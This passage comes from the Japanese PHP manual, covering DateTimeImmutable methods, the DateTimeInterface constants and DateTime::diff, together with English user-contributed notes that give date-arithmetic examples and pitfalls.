public diff ( DateTimeInterface $targetObject , bool $absolute = false ) : DateInterval
public format ( string $format ) : string
public getOffset ( ) : int
public getTimestamp ( ) : int
public getTimezone ( ) : DateTimeZone|false
public __wakeup ( ) : void
}

目次

  • DateTimeImmutable::add — 年月日時分秒の値を加える
  • DateTimeImmutable::__construct — 新しい DateTimeImmutable オブジェクトを返す
  • DateTimeImmutable::createFromFormat — 時刻の文字列を指定されたフォーマットに従ってパースする
  • DateTimeImmutable::createFromInterface — 指定された DateTimeInterface オブジェクトをカプセル化した、新しい DateTimeImmutable オブジェクトを返す
  • DateTimeImmutable::createFromMutable — 与えられた DateTime オブジェクトをカプセル化した、新しいDateTimeImmutable オブジェクトを返す
  • DateTimeImmutable::getLastErrors — 警告およびエラーを返す
  • DateTimeImmutable::modify — タイムスタンプを変更した新しいオブジェクトを作る
  • DateTimeImmutable::__set_state — __set_state ハンドラ
  • DateTimeImmutable::setDate — 日付を設定する
  • DateTimeImmutable::setISODate — ISO 日付を設定する
  • DateTimeImmutable::setTime — 時刻を設定する
  • DateTimeImmutable::setTimestamp — Unix タイムスタンプを用いて日付と時刻を設定する
  • DateTimeImmutable::setTimezone — タイムゾーンを設定する
  • DateTimeImmutable::sub — 年月日時分秒の値を引く

User Contributed Notes

katsarov at gmail dot com 05-Apr-2019 02:35
Note: If you are trying to get 02.29 for non leap year it will return 03.01
Example:
<?php
new DateTimeImmutable('2017-02-29') // 2017-03-01
?>
soullinker0 googlemail 24-Jan-2019 12:27
class MyDateTime extends DateTimeImmutable
{
    public function addDay(int $amount): MyDateTime
    {
        return $this->add(new DateInterval("P" . $amount . "D"));
    }
}

addDay will return DateTimeImmutable not MyDateTime. It looks like there is no "return static;"
i wish i would be
taoufik dot oussama at gmail dot com 04-Dec-2017 10:02
Here's a simple example on how this class works :

    // Create a DateTimeImmutable Object
    $date = new DateTimeImmutable('2000-01-01');
    // "Change" that object and assign it's value to a new variable
    $date2 = $date->add(new DateInterval('P6M5DT24H'));
    // Check out the content of the two variables
    echo $date->format('Y-m-d') . "\n";
    // 2000-01-01
    echo $date2->format('Y-m-d') . "\n";
    // 2000-07-07


年月日時分秒の値を加える

  • ≪ DateTimeImmutable
  • DateTimeImmutable::__construct ≫
  • PHP Manual
  • DateTimeImmutable
  • 年月日時分秒の値を加える

DateTimeImmutable::add

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

DateTimeImmutable::add — 年月日時分秒の値を加える

説明

public DateTimeImmutable::add ( DateInterval $interval ) : DateTimeImmutable

DateTime::add() と似ていますが、 DateTimeImmutable で動作します。

User Contributed Notes

Gunnar Bernstein 12-Dec-2018 11:00
Please note, add() works a litte different than for DateTime-Objects.

Since DateTimeImmutable is in fact immutable. A line like this will not work:

    $di = new DateTimeImmutable("2018-12-12T10:00:00");
    $di->add(new DateInterval('PT45M')); // $di unchanged !!!

compared to

    $dt = new DateTime("2018-12-12T10:00:00");
    $dt->add(new DateInterval('PT45M')); // added 45 minutes

so you need to write

    $di = new DateTimeImmutable("2018-12-12T10:00:00");
    $di = $di->add(new DateInterval('PT45M')); // $di now changed


新しい DateTimeImmutable オブジェクトを返す

  • ≪ DateTimeImmutable::add
  • DateTimeImmutable::createFromFormat ≫
  • PHP Manual
  • DateTimeImmutable
  • 新しい DateTimeImmutable オブジェクトを返す

DateTimeImmutable::__construct

date_create_immutable

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

DateTimeImmutable::__construct -- date_create_immutable — 新しい DateTimeImmutable オブジェクトを返す

説明

オブジェクト指向型

public DateTimeImmutable::__construct ( string $datetime = "now" , DateTimeZone|null $timezone = null )

手続き型

date_create_immutable ( string $datetime = "now" , DateTimeZone|null $timezone = null ) : DateTimeImmutable|false

DateTime::__construct() と似ていますが、 DateTimeImmutable で動作します。

User Contributed Notes

wangbuying at gmail dot com 18-Nov-2019 05:01
As the type of the first parameter is string, we can assign a relative date for it.
Example:

<?php
$immutable = new DateTimeImmutable('-1 year', new DateTimeZone('Asia/ShangHai'));
echo $immutable->format('Y-m-d H:i:s');
?>

It looks like the parameter of function strtotime and is very helpful for us to get an immutable relative DateTime object.


時刻の文字列を指定されたフォーマットに従ってパースする

  • ≪ DateTimeImmutable::__construct
  • DateTimeImmutable::createFromInterface ≫
  • PHP Manual
  • DateTimeImmutable
  • 時刻の文字列を指定されたフォーマットに従ってパースする

DateTimeImmutable::createFromFormat

date_create_immutable_from_format

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

DateTimeImmutable::createFromFormat -- date_create_immutable_from_format — 時刻の文字列を指定されたフォーマットに従ってパースする

説明

オブジェクト指向型

public static DateTimeImmutable::createFromFormat ( string $format , string $datetime , DateTimeZone|null $timezone = null ) : DateTimeImmutable|false

手続き型

date_create_immutable_from_format ( string $format , string $datetime , DateTimeZone|null $timezone = null ) : DateTimeImmutable|false

DateTime::createFromFormat() と似ていますが、 DateTimeImmutable で動作します。

User Contributed Notes

There are no user contributed notes for this page.


指定された DateTimeInterface オブジェクトをカプセル化した、新しい DateTimeImmutable オブジェクトを返す

  • ≪ DateTimeImmutable::createFromFormat
  • DateTimeImmutable::createFromMutable ≫
  • PHP Manual
  • DateTimeImmutable
  • 指定された DateTimeInterface オブジェクトをカプセル化した、新しい DateTimeImmutable オブジェクトを返す

DateTimeImmutable::createFromInterface

(PHP 8)

DateTimeImmutable::createFromInterface — 指定された DateTimeInterface オブジェクトをカプセル化した、新しい DateTimeImmutable オブジェクトを返す

説明

public static DateTimeImmutable::createFromInterface ( DateTimeInterface $object ) : DateTimeImmutable

パラメータ

object

変更できないバージョンに変換する DateTimeInterface オブジェクト。 このオブジェクトは変更されませんが、 同じ日付、時刻、タイムゾーンの情報が入った新しい DateTimeImmutable オブジェクトが作成されます。

返り値

新しいDateTimeImmutable クラスのインスタンスを返します。

例

例1 DateTimeImmutable オブジェクトを作る

<?php
$date = new DateTime("2014-06-20 11:45 Europe/London");

$immutable = DateTimeImmutable::createFromInterface($date);

$date = new DateTimeImmutable("2014-06-20 11:45 Europe/London");
$also_immutable = DateTimeImmutable::createFromInterface($date);
?>

User Contributed Notes

There are no user contributed notes for this page.


与えられた DateTime オブジェクトをカプセル化した、新しいDateTimeImmutable オブジェクトを返す

  • ≪ DateTimeImmutable::createFromInterface
  • DateTimeImmutable::getLastErrors ≫
  • PHP Manual
  • DateTimeImmutable
  • 与えられた DateTime オブジェクトをカプセル化した、新しいDateTimeImmutable オブジェクトを返す

DateTimeImmutable::createFromMutable

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

DateTimeImmutable::createFromMutable — 与えられた DateTime オブジェクトをカプセル化した、新しいDateTimeImmutable オブジェクトを返す

説明

public static DateTimeImmutable::createFromMutable ( DateTime $object ) : DateTimeImmutable

パラメータ

object

変更不能なバージョンに変換が必要な、 DateTime オブジェクト。 このオブジェクトは変更されませんが、 代わりに同じ日付、時刻、タイムゾーンの情報を含んだ 新しい DateTimeImmutable オブジェクトが作られます。

例

例1 変更不能な日付オブジェクトを作る

<?php
$date = new DateTime("2014-06-20 11:45 Europe/London");

$immutable = DateTimeImmutable::createFromMutable( $date );
?>

返り値

新しい DateTimeImmutable インスタンスを返します。

User Contributed Notes

Julien 08-Dec-2016 09:46
For PHP < 5.6

<?php
$date = new DateTime("now", new DateTimeZone("Europe/Paris"));
echo $date->format(DateTime::ISO8601) . PHP_EOL; // 2016-12-08T10:42:59+0100

$datei = DateTimeImmutable::createFromFormat(DateTime::ISO8601, $date->format(DateTime::ISO8601));
echo $datei->format(DateTime::ISO8601) . PHP_EOL; // 2016-12-08T10:42:59+0100
?>


警告およびエラーを返す

  • ≪ DateTimeImmutable::createFromMutable
  • DateTimeImmutable::modify ≫
  • PHP Manual
  • DateTimeImmutable
  • 警告およびエラーを返す

DateTimeImmutable::getLastErrors

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

DateTimeImmutable::getLastErrors — 警告およびエラーを返す

説明

public static DateTimeImmutable::getLastErrors ( ) : array|false

DateTime::getLastErrors() と似ていますが、 DateTimeImmutable で動作します。

User Contributed Notes

There are no user contributed notes for this page.


タイムスタンプを変更した新しいオブジェクトを作る

  • ≪ DateTimeImmutable::getLastErrors
  • DateTimeImmutable::__set_state ≫
  • PHP Manual
  • DateTimeImmutable
  • タイムスタンプを変更した新しいオブジェクトを作る

DateTimeImmutable::modify

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

DateTimeImmutable::modify — タイムスタンプを変更した新しいオブジェクトを作る

説明

public DateTimeImmutable::modify ( string $modifier ) : DateTimeImmutable|false

タイムスタンプを変更した新しい DateTimeImmutable オブジェクトを作ります。 元のオブジェクトは変更されません。

パラメータ

object

手続き型のみ: date_create() が返す DateTime オブジェクト。 この関数は、このオブジェクトを変更します。

modifier

日付/時刻 文字列。有効な書式については 日付と時刻の書式 で説明しています。

返り値

新しく作ったオブジェクトを返します。 失敗した場合に false を返します。

User Contributed Notes

dmytro dot sokil at gmail dot com 19-Feb-2018 05:36
To modify milliseconds and microseconds use next formats:

<?php
$a = new \DateTimeImmutable('2018-01-01 00:00:00.000');
$b = $a->modify('9 msec');
var_dump($b->format('Y-m-d H:i:s.u'));
?>

Returns string(26) "2018-01-01 00:00:00.009000"

<?php
$a = new \DateTimeImmutable('2018-01-01 00:00:00.000');
$b = $a->modify('9 usec');
var_dump($b->format('Y-m-d H:i:s.u'));
?>

Returns "2018-01-01 00:00:00.000009"


__set_state ハンドラ

  • ≪ DateTimeImmutable::modify
  • DateTimeImmutable::setDate ≫
  • PHP Manual
  • DateTimeImmutable
  • __set_state ハンドラ

DateTimeImmutable::__set_state

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

DateTimeImmutable::__set_state — __set_state ハンドラ

説明

public static DateTimeImmutable::__set_state ( array $array ) : DateTimeImmutable

DateTime::__set_state() と似ていますが、 DateTimeImmutable で動作します。

User Contributed Notes

There are no user contributed notes for this page.


日付を設定する

  • ≪ DateTimeImmutable::__set_state
  • DateTimeImmutable::setISODate ≫
  • PHP Manual
  • DateTimeImmutable
  • 日付を設定する

DateTimeImmutable::setDate

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

DateTimeImmutable::setDate — 日付を設定する

説明

public DateTimeImmutable::setDate ( int $year , int $month , int $day ) : DateTimeImmutable

DateTime::setDate() と似ていますが、 DateTimeImmutable で動作します。

User Contributed Notes

There are no user contributed notes for this page.


ISO 日付を設定する

  • ≪ DateTimeImmutable::setDate
  • DateTimeImmutable::setTime ≫
  • PHP Manual
  • DateTimeImmutable
  • ISO 日付を設定する

DateTimeImmutable::setISODate

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

DateTimeImmutable::setISODate — ISO 日付を設定する

説明

public DateTimeImmutable::setISODate ( int $year , int $week , int $dayOfWeek = 1 ) : DateTimeImmutable

DateTime::setISODate() と似ていますが、 DateTimeImmutable で動作します。

User Contributed Notes

There are no user contributed notes for this page.


時刻を設定する

  • ≪ DateTimeImmutable::setISODate
  • DateTimeImmutable::setTimestamp ≫
  • PHP Manual
  • DateTimeImmutable
  • 時刻を設定する

DateTimeImmutable::setTime

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

DateTimeImmutable::setTime — 時刻を設定する

説明

public DateTimeImmutable::setTime ( int $hour , int $minute , int $second = 0 , int $microsecond = 0 ) : DateTimeImmutable

DateTime::setTime() と似ていますが、 DateTimeImmutable で動作します。

User Contributed Notes

There are no user contributed notes for this page.


Unix タイムスタンプを用いて日付と時刻を設定する

  • ≪ DateTimeImmutable::setTime
  • DateTimeImmutable::setTimezone ≫
  • PHP Manual
  • DateTimeImmutable
  • Unix タイムスタンプを用いて日付と時刻を設定する

DateTimeImmutable::setTimestamp

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

DateTimeImmutable::setTimestamp — Unix タイムスタンプを用いて日付と時刻を設定する

説明

public DateTimeImmutable::setTimestamp ( int $timestamp ) : DateTimeImmutable

DateTime::setTimestamp() と似ていますが、 DateTimeImmutable で動作します。

User Contributed Notes

ben at hl9 dot net 28-Dec-2018 07:21
Note that this is not the right way to initiate a \DateTimeImmutable object with a numeric Unix timestamp.

<?php
// Wrong, despite the documention *kind of* alluding to it
$obj = \DateTimeImmutable::setTimestamp(time() - 1);

// Also won't work
$obj = new \DateTimeImmutable(time() - 1)

// Correct, works, clean single line
$obj = (new \DateTimeImmutable())->setTimestamp(time() - 1);
?>

... In fact, this is a non-static method and thus should not be called statically.


タイムゾーンを設定する

  • ≪ DateTimeImmutable::setTimestamp
  • DateTimeImmutable::sub ≫
  • PHP Manual
  • DateTimeImmutable
  • タイムゾーンを設定する

DateTimeImmutable::setTimezone

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

DateTimeImmutable::setTimezone — タイムゾーンを設定する

説明

public DateTimeImmutable::setTimezone ( DateTimeZone $timezone ) : DateTimeImmutable

DateTime::setTimezone() と似ていますが、 DateTimeImmutable で動作します。

User Contributed Notes

There are no user contributed notes for this page.


年月日時分秒の値を引く

  • ≪ DateTimeImmutable::setTimezone
  • DateTimeInterface ≫
  • PHP Manual
  • DateTimeImmutable
  • 年月日時分秒の値を引く

DateTimeImmutable::sub

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

DateTimeImmutable::sub — 年月日時分秒の値を引く

説明

public DateTimeImmutable::sub ( DateInterval $interval ) : DateTimeImmutable

DateTime::sub() と似ていますが、 DateTimeImmutable で動作します。

User Contributed Notes

There are no user contributed notes for this page.


DateTimeInterface インターフェイス

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

はじめに

DateTimeInterface は、DateTime および DateTimeImmutable をタイプヒントで使えるようにするためのインターフェイスです。 このインターフェイスを実装したクラスをユーザー側で作ることはできません。

クラス概要

DateTimeInterface {
/* 定数 */
const string ATOM = "Y-m-d\TH:i:sP" ;
const string COOKIE = "l, d-M-Y H:i:s T" ;
const string ISO8601 = "Y-m-d\TH:i:sO" ;
const string RFC822 = "D, d M y H:i:s O" ;
const string RFC850 = "l, d-M-y H:i:s T" ;
const string RFC1036 = "D, d M y H:i:s O" ;
const string RFC1123 = "D, d M Y H:i:s O" ;
const string RFC7231 = "D, d M Y H:i:s \G\M\T" ;
const string RFC2822 = "D, d M Y H:i:s O" ;
const string RFC3339 = "Y-m-d\TH:i:sP" ;
const string RFC3339_EXTENDED = "Y-m-d\TH:i:s.vP" ;
const string RSS = "D, d M Y H:i:s O" ;
const string W3C = "Y-m-d\TH:i:sP" ;
/* メソッド */
public diff ( DateTimeInterface $targetObject , bool $absolute = false ) : DateInterval
public format ( string $format ) : string
public getOffset ( ) : int
public getTimestamp ( ) : int|false
public getTimezone ( ) : DateTimeZone|false
public __wakeup ( ) : void
}

定義済み定数

DateTimeInterface::ATOM
DATE_ATOM
Atom (例: 2005-08-15T15:52:01+00:00)
DateTimeInterface::COOKIE
DATE_COOKIE
HTTP Cookie (例: Monday, 15-Aug-2005 15:52:01 UTC)
DateTimeInterface::ISO8601
DATE_ISO8601
ISO-8601 (例: 2005-08-15T15:52:01+0000)

注意: このフォーマットは、ISO-8601 と互換性がありません。 しかし、後方互換性を保つために残されています。 ISO-8601 と互換性を保つためには、 DateTime::ATOM または DATE_ATOM を使うようにしてください。

DateTimeInterface::RFC822
DATE_RFC822
RFC 822 (例: Mon, 15 Aug 05 15:52:01 +0000)
DateTimeInterface::RFC850
DATE_RFC850
RFC 850 (例: Monday, 15-Aug-05 15:52:01 UTC)
DateTimeInterface::RFC1036
DATE_RFC1036
RFC 1036 (例: Mon, 15 Aug 05 15:52:01 +0000)
DateTimeInterface::RFC1123
DATE_RFC1123
RFC 1123 (例: Mon, 15 Aug 2005 15:52:01 +0000)
DateTimeInterface::RFC7231
DATE_RFC7231
RFC 7231 (PHP 7.0.19 と 7.1.5以降) (例: Sat, 30 Apr 2016 17:52:13 GMT)
DateTimeInterface::RFC2822
DATE_RFC2822
RFC 2822 (例: Mon, 15 Aug 2005 15:52:01 +0000)
DateTimeInterface::RFC3339
DATE_RFC3339
DATE_ATOM と同じです (PHP 5.1.3 以降)
DateTimeInterface::RFC3339_EXTENDED
DATE_RFC3339_EXTENDED
RFC 3339 EXTENDED フォーマット (PHP 7.0.0 以降) (例: 2005-08-15T15:52:01.000+00:00)
DateTimeInterface::RSS
DATE_RSS
RSS (例: Mon, 15 Aug 2005 15:52:01 +0000)
DateTimeInterface::W3C
DATE_W3C
World Wide Web Consortium (例: 2005-08-15T15:52:01+00:00)

変更履歴

バージョン | 説明
7.2.0 | DateTime クラスの定数は、 DateTimeInterface で定義されるようになりました。
5.5.8 | DateTimeInterface を実装しようとすると fatal error が発生するようになりました。 それまでのバージョンではエラーは発生しませんでしたが、その挙動は間違ったものでした。

目次

  • DateTime::diff — ふたつの DateTime オブジェクトの差を返す
  • DateTime::format — 指定した書式でフォーマットした日付を返す
  • DateTime::getOffset — タイムゾーンのオフセットを返す
  • DateTime::getTimestamp — Unix タイムスタンプを取得する
  • DateTime::getTimezone — 指定した DateTime に関連するタイムゾーンを返す
  • DateTime::__wakeup — __wakeup ハンドラ

User Contributed Notes

There are no user contributed notes for this page.


ふたつの DateTime オブジェクトの差を返す

  • ≪ DateTimeInterface
  • DateTime::format ≫
  • PHP Manual
  • DateTimeInterface
  • ふたつの DateTime オブジェクトの差を返す

DateTime::diff

DateTimeImmutable::diff

DateTime::diff

date_diff

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DateTime::diff -- DateTimeImmutable::diff -- DateTime::diff -- date_diff — ふたつの DateTime オブジェクトの差を返す

説明

オブジェクト指向型

public DateTime::diff ( DateTimeInterface $targetObject , bool $absolute = false ) : DateInterval
public DateTimeImmutable::diff ( DateTimeInterface $targetObject , bool $absolute = false ) : DateInterval
public DateTimeInterface::diff ( DateTimeInterface $targetObject , bool $absolute = false ) : DateInterval

手続き型

date_diff ( DateTimeInterface $baseObject , DateTimeInterface $targetObject , bool $absolute = false ) : DateInterval

ふたつの DateTime オブジェクトの差を返します。

パラメータ

datetime

比較する日付。

absolute

間隔が正の数になるようにするか否か。

返り値

ふたつの日付の差をあらわす DateInterval オブジェクトを返します。 失敗した場合に false を返します

さらに厳密に言うと、戻り値はもともとのオブジェクト ($this または $originObject) を $targetObject にするために適用すべき差分を示しています。 このプロセスは可逆とは限りません。

例

例1 DateTime::diff() の例

オブジェクト指向型

<?php
$origin = new DateTime('2009-10-11');
$target = new DateTime('2009-10-13');
$interval = $origin->diff($target);
echo $interval->format('%R%a days');
?>

手続き型

<?php
$origin = date_create('2009-10-11');
$target = date_create('2009-10-13');
$interval = date_diff($origin, $target);
echo $interval->format('%R%a days');
?>

上の例の出力は以下となります。

+2 days

例2 DateTime オブジェクトの比較

注意:

PHP 5.2.2 以降では、DateTime オブジェクトを 比較演算子 で比較できるようになりました。

<?php
$date1 = new DateTime("now");
$date2 = new DateTime("tomorrow");

var_dump($date1 == $date2);
var_dump($date1 < $date2);
var_dump($date1 > $date2);
?>

上の例の出力は以下となります。

bool(false)
bool(true)
bool(false)

参考

  • DateInterval::format() - 間隔をフォーマットする
  • DateTime::add() - 年月日時分秒の値を DateTime オブジェクトに加える
  • DateTime::sub() - 年月日時分秒の値を DateTime オブジェクトから引く

User Contributed Notes

anonymous 10-Sep-2020 12:03
<?php
$date1 = new DateTime('2015-06-22T10:40:25', new DateTimeZone('Europe/London'));
$date2 = new DateTime("2010-01-01 22:10:57",new DateTimeZone('Asia/Kathmandu'));

$interval = date_diff($date1, $date2);

print $interval->format("Days = %a Time = %H:%I:%S .");
?>
Rainer Perske 04-Jul-2020 11:02
PHP uses Unix timestamps internally.
Leap seconds are ignored.
monirul 15-Jul-2019 08:31
$strStart = '2013-06-19 18:25';
$strEnd   = '06/21/13 21:47';

$dteStart = new DateTime($strStart);
$dteEnd   = new DateTime($strEnd);
 $dteDiff  = $dteStart->diff($dteEnd);
 print $dteDiff->format("%H:%I:%S");

this script not comparing the date, its working only for the time
wildpenguin at gmail dot com 06-Apr-2018 09:02
Be careful when using the difference between 'Now' and a future value.
Example:
// imagine it is 2018-04-20
$date1 = new DateTime('now');
$date2 = new DateTime(date('Y-m-d'));
$date3 = new DateTime("2018-04-30"); // future

echo $date1->diff($date3)->days; // 9 days
echo $date2->diff($date3)->days; // 10 days
sloanlance+php dot net at gmail dot com 14-Jan-2018 06:05
When getting the difference between two DateTime objects with fractions of seconds, DateTime::diff() works under PHP 7.1. However, under PHP 5.6, the fraction is truncated. It's not clear whether the truncation happens when getting the DateTime objects' values, during the calculation, or immediately before returning the result.
Daniel Klein 10-May-2017 03:29
WARNING!!!

Although you CAN directly compare DateTime objects, you will get nonintuitive results if the other object is not also DateTime compatible.

I just found a subtle bug in my code because it was comparing a date against an uninitialised variable.

<?php
$now = new DateTime();
$other_date = null;
var_dump($now < $other_date);   // false
var_dump($now > $other_date);   // true
?>

It's better to use DateTime::diff() because the return value will only be a DateInterval object if the types were compatible, otherwise it will be false.

<?php
$then = new DateTime('yesterday');
$now = new DateTime();
$other_date = null;
var_dump($now->diff($other_date));  // false
var_dump($now->diff($then));    // DateInterval object
?>

If a DateInterval object was returned, you can check the 'invert' property to see if the second date is before the first date or not. DateInterval::invert will be 1 if the second date is before the first date, and 0 if the the second date is on or after the first date.
Anonymous 17-Mar-2017 03:34
<?php
$datetime1 = new DateTime('2016-11-30');
$datetime2 = new DateTime('2017-03-01');
$interval = $datetime1->diff($datetime2);
var_dump($interval->days / 30.4375);
$month = $interval->m + $interval->y * 12;
var_dump($month);

Result:
float(2.9897330595483)
int(2) <-- Where is the third month? February has 28/29 days total.

For
<?php
$datetime1 = new DateTime('2016-11-30');
$datetime2 = new DateTime('2017-03-02');

Result:
float(3.0225872689938)
int(3)
csongor at halmai dot hu 02-Nov-2016 02:09
Be careful, the behaviour depends on the time zones in a weird way.

<?php
    function printDiff($tz) {
        $d1 = new DateTime("2015-06-01", new DateTimeZone($tz));
        $d2 = new DateTime("2015-07-01", new DateTimeZone($tz));
        $diff = $d1->diff($d2);
        print($diff->format("Year: %Y Month: %M Day: %D"). PHP_EOL);
    }
    printDiff("UTC");
    printDiff("Australia/Melbourne");
?>

The result is different:

Year: 00 Month: 01 Day: 00
Year: 00 Month: 00 Day: 30
arunajamal at yahoo dot com 15-Jan-2016 04:32
Similar to what was mentioned by  ianlenmac at gmail dot com
I think its also worth mentioning to note that date_diff($datetime1, $datetime2) is equivalent to " subtract $datetime1 from $datetime2 " as opposed to thinking otherwise because of the arrangement of the arguments
so date_diff($now, $tomorrow) is +ve
cagatay at devmonks dot net 25-Nov-2015 03:20
Be careful using:

$date1 = new DateTime('now');
$date2 = new DateTime('tomorrow');

$interval = date_diff($date1, $date2);

echo $interval->format('In %a days');

In some situations, this won't say "in 1 days", but "in 0 days".
I think this is because "now" is the current time, while "tomorrow" is the current day +1 but at a default time, lets say:

Now: 08:00pm, 01.01.2015
Tomorrow: 00:00am, 02.01.2015

In this case, the difference is not 24 hour, so it will says 0 days.

Better use "today", which should also use a default value like:

Today: 00:00am, 01.01.2015
Tomorrow: 00:00am, 02.01.2015

which now is 24 hour and represents 1 day.

This may sound logical and many will say "of course, this is right", but if you use it in a naiv way (like I did without thinking), you can come to this moment and facepalm yourself.

Conclusion: "Now" is "Today", but in a different clock time, but still the same day!
devegpat at gmail dot com 17-Jul-2015 03:53
<?PHP
/*small script to check if the given date is between the limit
$gap is the limit needed
date format taken is d-m-yyyy
using PDO
*/

date_default_timezone_set('Asia/kolkata');

$gap = 60;
$givendate = '7-9-2015';
$givendate = explode('-', $givendate);

$thisday    = $givendate[0];
$thismonth  = $givendate[1];
$thisyear   = $givendate[2];

$date1 = new DateTime(date('d-m-Y',mktime(0,0,0,$thismonth,$thisday,$thisyear)));
$date2 = new DateTime(date('d-m-Y'));
$differ = $date1->diff($date2);
$daysbetween = $differ->format('%a');

echo $daysbetween;

if($daysbetween > $gap){
  printf("Enter a date within next %d days the difference is %d",$gap,$daysbetween);
}
else{
  printf("Date is valid and difference  is %d",$daysbetween);
}
?>
qrworld.net 02-Dec-2014 02:31
Here you have in this post http://softontherocks.blogspot.com/2014/12/calcular-la-edad-con-php.html the code to get the age of a person specifying the date of birth:

function getAge($birthdate){
    $adjust = (date("md") >= date("md", strtotime($birthdate))) ? 0 : -1; // Si aun no hemos llegado al dia y mes en este ano restamos 1
    $years = date("Y") - date("Y", strtotime($birthdate)); // Calculamos el numero de anos
    return $years + $adjust; // Sumamos la diferencia de anos mas el ajuste
}
starsniper at in dot com 08-Jun-2014 12:49
Another Method to compare dates:
<?php
    $d1 = new DateTime('2014-06-07 20:56:00');
    $d2 = new DateTime('2014-06-09 21:09:00');
    echo 'The DateTimes are: <br /> d1: '.$d1->format("d-M-y, h:i A").'<br /> d2: '.$d2->format("d-M-y, h:i A");

    $date_diff = $d1->diff($d2);            // difference of dates =  ($d2 - $d1)

    if ( (int)$date_diff->format('%R%a')  >= 0 ){
        echo '<br /><br />The recent date is: '.$d2->format("d-M-y, h:i A");
        echo '<br /> The older date is: '.$d1->format("d-M-y, h:i A");
    }else{
        echo '<br /><br />The recent date is: '.$d1->format("d-M-y, h:i A");
        echo '<br /> The older date is: '.$d2->format("d-M-y, h:i A");
    }
?>

Output:
The DateTimes are:
d1: 07-Jun-14, 08:56 PM
d2: 09-Jun-14, 09:09 PM

The recent date is: 09-Jun-14, 09:09 PM
The older date is: 07-Jun-14, 08:56 PM
nospam at oece dot me 20-Apr-2014 05:54
Using the identical (===) comparision operator in different but equal objects will return false

<?php
$c = new DateTime( '2014-04-20' );
$d = new DateTime( '2014-04-20' );
var_dump( $d === $d ); #true
var_dump( $d === $c ); #false
var_dump( $d == $c ); #true
?>
crayonviolent at phpfreaks dot com 18-Mar-2014 05:26
It seems that while DateTime in general does preserve microseconds, DateTime::diff doesn't appear to account for it when comparing.

Example:

<?php
$val1 = '2014-03-18 10:34:09.939';
$val2 = '2014-03-18 10:34:09.940';

$datetime1 = new DateTime($val1);
$datetime2 = new DateTime($val2);
echo "<pre>";
var_dump($datetime1->diff($datetime2));

if($datetime1 > $datetime2)
  echo "1 is bigger";
else
  echo "2 is bigger";
?>

The var_dump shows that there is no "u" element, and "2 is bigger" is echoed.

To work around this apparent limitation/oversight, you have to additionally compare using DateTime::format.

Example:

<?php
if($datetime1 > $datetime2)
  echo "1 is bigger";
else if ($datetime1->format('u') > $datetime2->format('u'))
  echo "1 is bigger";
else
  echo "2 is bigger";
?>
ianlenmac at gmail dot com 20-Sep-2013 01:10
It is worth noting, IMO, and it is implied in the docs but not explicitly stated, that the object on which diff is called is subtracted from the object that is passed to diff.

i.e. $now->diff($tomorrow) is positive.
php at jcouture dot net 20-Jun-2013 01:45
After wrestling with DateTime::diff for a while it finally dawned on me the problem was both in the formatting of the input string and the formatting of the output.

The task was to calculate the duration between two date/times.

### Calculating Duration

1. Make sure you have a valid date variable.  Both of these strings are valid:

<?php

// Example

   $strStart = '2013-06-19 18:25';
   $strEnd   = '06/19/13 21:47';

?>

2. Next convert the string to a date variable
~~~
<?php

   $dteStart = new DateTime($strStart);
   $dteEnd   = new DateTime($strEnd);

?>
~~~

3. Calculate the difference
~~~
<?php

   $dteDiff  = $dteStart->diff($dteEnd);

?>
~~~

4. Format the output
~~~
<?php

   print $dteDiff->format("%H:%I:%S");

/*
    Outputs

    03:22:00
*/

?>
~~~

[Modified by moderator for clarify]
gusarov at ukr.net 07-Jun-2013 01:16
for php<5.3
<?php
$date1 = strtotime('2013-07-03 18:00:00');
$date2 = time();
$subTime = $date1 - $date2;
$y = ($subTime/(60*60*24*365));
$d = ($subTime/(60*60*24))%365;
$h = ($subTime/(60*60))%24;
$m = ($subTime/60)%60;

echo "Difference between ".date('Y-m-d H:i:s',$date1)." and ".date('Y-m-d H:i:s',$date2)." is:\n";
echo $y." years\n";
echo $d." days\n";
echo $h." hours\n";
echo $m." minutes\n";
?>
amons dot 360 at gmail dot com 23-Mar-2013 11:00
So this function is not available for my server's PHP. I created an alternative.

Convert the datetime into time-stamps, then subtract normally, then convert the seconds to whatever you want.

<?

$date1 = new DateTime('now');
$date1->modify("-3 hours");

$date2 = new DateTime('now');

$number1 = (int)$date1->format('U');
$number2 = (int)$date2->format('U');

echo ($number2 - $number1)/60/60; // will print 3

?>

-Suleiman ALAQEL
radu dot potop at wooptoo dot com 27-Jun-2012 08:50
Keep in mind that diff will convert the two DateTime objects from local time to UTC.
sgmurphy19 08-Feb-2012 11:00
Though I found a number of people who ran into the issue of 5.2 and lower not supporting this function, I was unable to find any solid examples to get around it. Therefore I hope this can help some others:

<?php
function get_timespan_string($older, $newer) {
  $Y1 = $older->format('Y');
  $Y2 = $newer->format('Y');
  $Y = $Y2 - $Y1;

  $m1 = $older->format('m');
  $m2 = $newer->format('m');
  $m = $m2 - $m1;

  $d1 = $older->format('d');
  $d2 = $newer->format('d');
  $d = $d2 - $d1;

  $H1 = $older->format('H');
  $H2 = $newer->format('H');
  $H = $H2 - $H1;

  $i1 = $older->format('i');
  $i2 = $newer->format('i');
  $i = $i2 - $i1;

  $s1 = $older->format('s');
  $s2 = $newer->format('s');
  $s = $s2 - $s1;

  if($s < 0) {
    $i = $i -1;
    $s = $s + 60;
  }
  if($i < 0) {
    $H = $H - 1;
    $i = $i + 60;
  }
  if($H < 0) {
    $d = $d - 1;
    $H = $H + 24;
  }
  if($d < 0) {
    $m = $m - 1;
    $d = $d + get_days_for_previous_month($m2, $Y2);
  }
  if($m < 0) {
    $Y = $Y - 1;
    $m = $m + 12;
  }
  $timespan_string = create_timespan_string($Y, $m, $d, $H, $i, $s);
  return $timespan_string;
}

function get_days_for_previous_month($current_month, $current_year) {
  $previous_month = $current_month - 1;
  if($current_month == 1) {
    $current_year = $current_year - 1; //going from January to previous December
    $previous_month = 12;
